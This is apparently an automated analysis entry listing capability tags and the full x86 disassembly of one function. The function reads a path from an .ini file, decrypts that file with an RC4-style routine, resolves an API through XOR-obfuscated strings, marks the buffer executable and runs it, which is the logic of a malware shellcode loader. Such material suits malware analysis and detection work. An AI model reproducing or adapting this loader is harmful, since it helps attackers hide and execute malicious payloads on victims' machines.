Function at 0x10002890
Capabilities:
Create thread
Encode data using xor
Get file size
Read .ini file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100169d0
mov eax, dword fs:[0]
push eax
sub esp, 0x48c
mov eax, dword [0x1001f010]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x478], edx
mov esi, ecx
call fcn.10002550
push 0
push esi
push 0
push 0
push 0
push SysReAllocString
push 0
push SysReAllocString
push 0xcf0000
push 0x10020488
push 0x100203c0
push 0
mov dword [0x10020550], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 0x104
mov dword [ebp - 0x474], eax
lea eax, [ebp - 0x244]
push eax
push 0x1c
lea eax, [ebp - 0x498]
push eax
push 0x10001390
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
neg eax
sbb eax, eax
and eax, dword [ebp - 0x494]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push str..ini
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionW]
lea eax, [ebp - 0x244]
push eax
push 0x104
lea eax, [ebp - 0x44c]
push eax
push str.desktops.ini
push str.Path
push 0x1001d100
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10002a07
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x454], eax
lea eax, [ebp - 0x46c]
push eax
push 0
push 0
push 0x10001330
push 0
push 0
mov dword [ebp - 0x46c], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xfa0
mov dword [ebp - 0x460], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x10002a0e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
push dword [ebp - 0x460]
call esi
xor eax, eax
jmp 0x10002ce4
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x454]
call fcn.100031f8
add esp, 4
mov dword [ebp - 0x460], eax
lea ecx, [ebp - 0x454]
push 0
push ecx
push dword [ebp - 0x454]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call esi
movups xmm0, xmmword [0x1001d108]
mov ax, word [0x1001d120]
mov ecx, 0xb
mov word [ebp - 0x24], ax
movups xmmword [ebp - 0x3c], xmm0
movq xmm0, qword [0x1001d118]
movq qword [ebp - 0x2c], xmm0
nop dword [eax]
mov ax, word [ebp + ecx*2 - 0x3e]
xor word [ebp + ecx*2 - 0x3c], ax
dec ecx
test ecx, ecx
jg 0x10002a70
movq xmm0, qword [str.:S_U_A_]
mov eax, 0x18be
xor word [ebp - 0x3c], ax
mov ecx, 0xd
mov eax, dword [0x1001d12c]
mov dword [ebp - 0x18], eax
mov ax, word [0x1001d130]
mov word [ebp - 0x14], ax
mov al, byte [0x1001d132]
movq qword [ebp - 0x20], xmm0
mov byte [ebp - 0x12], al
mov al, byte [ebp + ecx - 0x21]
xor byte [ebp + ecx - 0x20], al
dec ecx
test ecx, ecx
jg 0x10002ab4
xor byte [ebp - 0x20], 0x6c
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea esi, [ebp - 0x20]
mov dword [ebp - 0x470], eax
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10002ae6
sub esi, ecx
push 0x104040
mov dword [ebp - 0x464], esi
call fcn.100031f8
movaps xmm1, xmmword [0x1001d140]
add esp, 4
mov dword [ebp - 0x468], eax
mov ecx, 8
mov dword [eax], 0
mov dword [eax + 4], 0
add eax, 8
mov dword [ebp - 0x450], eax
lea edx, [eax + 0x20]
nop dword [eax]
lea eax, [ecx - 8]
movd xmm0, eax
lea edx, [edx + 0x40]
pshufd xmm0, xmm0, 0
lea eax, [ecx - 4]
paddd xmm0, xmm1
movups xmmword [edx - 0x60], xmm0
movd xmm0, eax
lea eax, [ecx + 4]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x50], xmm0
movd xmm0, ecx
add ecx, 0x10
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x40], xmm0
movd xmm0, eax
lea eax, [ecx - 8]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x30], xmm0
cmp eax, 0x100
jl 0x10002b30
xor edx, edx
xor edi, edi
mov dword [ebp - 0x45c], edx
mov dword [ebp - 0x458], edx
nop dword [eax]
mov eax, dword [ebp - 0x450]
mov esi, dword [ebp - 0x450]
mov ecx, dword [eax + edi*4]
mov al, byte [ebp + edx - 0x20]
add al, byte [ebp - 0x458]
add al, cl
movzx eax, al
mov dword [ebp - 0x458], eax
mov edx, dword [ebp - 0x458]
mov eax, dword [ebp - 0x450]
mov eax, dword [eax + edx*4]
mov dword [esi + edi*4], eax
mov eax, esi
inc edi
mov dword [eax + edx*4], ecx
xor eax, eax
mov edx, dword [ebp - 0x45c]
inc edx
cmp edx, dword [ebp - 0x464]
cmovl eax, edx
mov edx, eax
mov dword [ebp - 0x45c], edx
cmp edi, 0x100
jl 0x10002ba0
mov dword [ebp - 4], 0
mov esi, dword [ebp - 0x468]
mov ecx, dword [ebp - 0x454]
mov dword [ebp - 0x458], ecx
mov dword [ebp - 0x45c], 0
mov eax, dword [esi + 4]
mov edx, dword [esi]
mov dword [ebp - 0x450], eax
test ecx, ecx
jle 0x10002c93
lea edi, [esi + 8]
inc dl
movzx edx, dl
mov dword [ebp - 0x464], edx
mov ecx, dword [edi + edx*4]
mov al, cl
add al, byte [ebp - 0x450]
movzx eax, al
mov dword [ebp - 0x450], eax
mov esi, dword [ebp - 0x450]
mov eax, dword [edi + eax*4]
mov dword [edi + edx*4], eax
mov dword [edi + esi*4], ecx
add cl, al
mov esi, dword [ebp - 0x460]
movzx eax, cl
mov ecx, dword [ebp - 0x45c]
mov al, byte [edi + eax*4]
xor byte [ecx + esi], al
inc ecx
mov esi, dword [ebp - 0x468]
mov dword [ebp - 0x45c], ecx
cmp ecx, dword [ebp - 0x458]
jl 0x10002c33
mov eax, dword [ebp - 0x450]
mov edi, dword [ebp - 0x460]
mov dword [esi + 4], eax
lea eax, [ebp - 0x47c]
push eax
push 0x40
mov dword [esi], edx
push dword [ebp - 0x454]
push edi
call dword [ebp - 0x470]
call edi
mov edi, dword [ebp - 0x474]
test edi, edi
je 0x10002cd9
push dword [ebp - 0x478]
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov edi, 1
push esi
call fcn.100031d0
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10003184
mov esp, ebp
pop ebp
ret